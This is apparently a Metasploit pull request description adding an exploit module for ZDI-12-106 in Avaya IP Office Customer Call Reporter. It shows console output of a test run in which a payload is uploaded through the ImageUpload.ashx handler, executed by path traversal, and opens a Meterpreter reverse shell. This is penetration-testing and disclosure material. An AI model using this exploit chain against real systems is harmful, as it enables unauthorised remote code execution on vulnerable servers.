rapid7/metasploit-framework — pull request #874 by jvazquez-r7 (2012-10-08 18:06:26+00:00)
Title: Added module for ZDI-12-106

Tested successfully on Avaya IP Office Customer Call Reporter 7.0.4.2 and 8.0.8.15 on Windows 2003 SP2.

msf exploit(avaya_ccr_imageupload_exec) > reload
[*] Reloading module...
msf exploit(avaya_ccr_imageupload_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.172.149:80 - Uploading 389892 bytes through /CCRWebClient/Wallboard/ImageUpload.ashx...
[+] 192.168.172.149:80 - Payload uploaded successfuly
[*] 192.168.172.149:80 - Payload stored on C:\\Program Files\\Avaya\\IPOCCR\\CCRWallboardMessageBroker\\Logo_0_ccc3065a-5fc8-4a99-aada-f2335e18143b.aspx
[*] 192.168.172.149:80 - Executing /ccrwebclient/wallboard/../../CCRWallboardMessageBroker//Logo_0_ccc3065a-5fc8-4a99-aada-f2335e18143b.aspx...
[*] Sending stage (752128 bytes) to 192.168.1.128
[*] Meterpreter session 15 opened (192.168.1.128:4444 -> 192.168.1.128:53490) at 2012-10-08 19:55:22 +0200
[+] 192.168.172.149:80 - C:\\Program Files\\Avaya\\IPOCCR\\CCRWallboardMessageBroker\\Logo_0_ccc3065a-5fc8-4a99-aada-f2335e18143b.aspx deleted

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit -y
[*] Shutting down Meterpreter...

[*] 192.168.172.149 - Meterpreter session 15 closed. Reason: User exit